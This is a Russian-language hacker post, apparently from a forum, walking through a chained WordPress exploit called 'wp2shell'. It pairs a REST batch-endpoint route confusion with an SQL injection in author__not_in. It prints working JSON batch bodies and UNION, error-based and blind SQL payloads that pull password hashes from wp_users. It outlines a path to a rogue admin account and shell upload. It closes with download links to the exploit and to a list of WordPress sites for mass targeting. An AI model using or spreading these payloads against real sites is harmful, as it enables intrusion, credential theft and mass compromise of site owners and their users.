Две уязвимости, которые по отдельности неприятны, а вместе убийственны:
- CVE-2026-60137 - SQL injection в параметре author__not_in класса WP_Query. Появилась в WordPress 6.8.
- CVE-2026-63030 - route confusion в REST API batch endpoint (/batch/v1). Появилась в WordPress 6.9.
Шаг 1 - внешний batch содержит три подзапроса:
{
"requests": [
{"method": "POST", "path": "///"}, // <- wp_parse_url() фейлит, десинхрон
{"method": "POST", "path": "/wp/v2/posts", "body": inner}, // <- этот будет исполнен под batch handler
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}}
]
}
Путь "///" - это специально уродливый URL, который wp_parse_url() не может распарсить. Он создаёт WP_Error в массиве $validation, но не добавляет запись в $matches. Массивы съехали на одну позицию. Теперь второй подзапрос (/wp/v2/posts с телом inner) диспатчится под хендлером batch handler. А раз он был провалидирован как posts-запрос, его поле "requests" не проверяется против batch-схемы. Это значит, что внутренние подзапросы могут использовать GET (хотя batch разрешает только POST).
Шаг 2 - внутренний batch:
{
"requests": [
{"method": "POST", "path": "///"}, // <- опять десинхрон
{"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=PAYLOAD&orderby=none&per_page=500"},
{"method": "GET", "path": "/wp/v2/posts"}
]
}
Снова "///", снова рассинхрон. Запрос на /wp/v2/posts/999999 (item route) валидируется по item-схеме, где author_exclude, orderby и per_page просто не определены - значит проходят без проверки. Но диспатчится он уже под posts get_items() - collection handler. И вот author_exclude маппится в author__not_in, а тот летит прямиком в SQL:
кусок старого post_author NOT IN (<наш пейлод>)
Подставляем значение вида:
0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX((SELECT user_pass FROM wp_users LIMIT 1))))-- -
И SQL превращается в:
... post_author NOT IN (0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX((SELECT user_pass FROM wp_users LIMIT 1))))-- - ) ...
Бинго, error-based инъекция. Но это ещё не всё.
1. UNION - самый быстрый и жирный. Подставляет UNION SELECT с полным набором из 23 колонок wp_posts. Пост-title несёт HEX(value) обёрнутый в ||...||. На выходе WordPress рендерит фейковый пост и возвращает его в JSON-ответе. Работает благодаря orderby=none (убирает ORDER BY который бы сломал UNION) и per_page=500 (держит WP_Query в full-row режиме без object cache split).
# пейлод для UNION
1) AND 1=0 UNION ALL SELECT 999999,1,'2020-01-01','2020-01-01','','',
CONCAT(0x7c7c,HEX(CAST((SELECT user_pass FROM wp_users LIMIT 1) AS CHAR)),0x7c7c),
'','publish','closed','closed','','','','2020-01-01','2020-01-01','',0,'',0,'post','',0 -- -
В ответе ищем паттерн ||HEX||, декодим из hex - и вот наш пароль-хэш.
2. Error-based - когда WP_DEBUG_DISPLAY включён. EXTRACTVALUE/UPDATEXML выплёвывают ~15 байт за запрос в XPATH syntax error. Быстрее слепой, но зависит от конфигурации.
0) OR EXTRACTVALUE(1,CONCAT(0x7e,HEX(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,15))))-- -
3. Blind boolean - универсальный фоллбэк. Читает X-WP-Total хедер (количество постов, подходящих под условие). Условие истинно - total > 0, ложно - total = 0. Бинарный поиск по ASCII-коду, ~8 запросов на символ.
-1) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 53)-- -
Знакомо, правда? Ровно то же самое мы делали в Bear Bulk Editor, только там нас скобки резали. А тут? А тут НЕТ НИКАКИХ ФИЛЬТРОВ. Ни скобок, ни кавычек, ни wp_magic_quotes (потому что мы не через $_POST летим, а через JSON body REST API). Полная свобода, подзапросы, функции, UNION, SLEEP, всё работает.
Окей, мы читаем базу. Можно вытащить хэш админа, попробовать крякнуть, залогиниться и загрузить шелл. Но это дополнительное условие, слабый пароль. А у нас все таки вп2шелл, какие еще кряки паролей и хэшкеты?
1. Через UNION fake-post рендерим контент с [embed] шорткодом. WordPress при рендере создаёт реальные oembed_cache посты в базе.
2. Через cкулю достаём ID этих свежесозданных кэш-постов.
3. В одном отравленном batch-запросе переназначаем эти посты:
- один становится customize_changeset
- второй - nav_menu_item
- третий - request hook shape
5. Логинимся созданным админом, загружаем что хотим, и творим, что хотим.
Вот и вся цепочка.
ломанули шото!)
Полная RCE-цепочка (wp2shell):
6.9.0 – 6.9.4 -> фикс в 6.9.5
7.0.0 – 7.0.1 -> фикс в 7.0.2
Отдельная SQLi (без RCE):
6.8.0 – 6.8.5 -> фикс в 6.8.6
Не затронуты:
< 6.8
На ветке 6.8 есть SQLi (author__not_in), но нет batch route confusion, по этому полная цепочка не собирается. Но blind-инъекция через аутентифицированный REST запрос всё ещё работает для любого залогиненного юзера, а это уже другой разговор. Несколько граблей по дороге, чтоб не наступали: PoC использует ?rest_route=/batch/v1, а не /wp-json/batch/v1, потому что первый вариант работает на ЛЮБОЙ установке включая plain-permalinks (дефолт). UNION-ветка зависит от отсутствия persistent object cache (Redis/Memcached), если кэш включён, фоллбэк на blind. И PoC после себя убирает шелл и созданного админа, всё чисто. Ну, и собственно, зачем вы это всё читали. Держите.
wp2shell poc/exp - https://mega.nz/file/UycxjTLY#vkd3nxgT1O7HIbyCRrRjSGww7ppE8ko6wQz64L80CIo
лист всех вордпрессов в мире - https://mega.nz/file/cn0UmZyb#VkNDGjLMbi13SIBFaonBFmxsVt3Tr4lEhXzgDPJGvKg
быстро чекнуть уязвим ли - https://wp2shell.com/
Всем пока, не болейте![/embed]
LIMB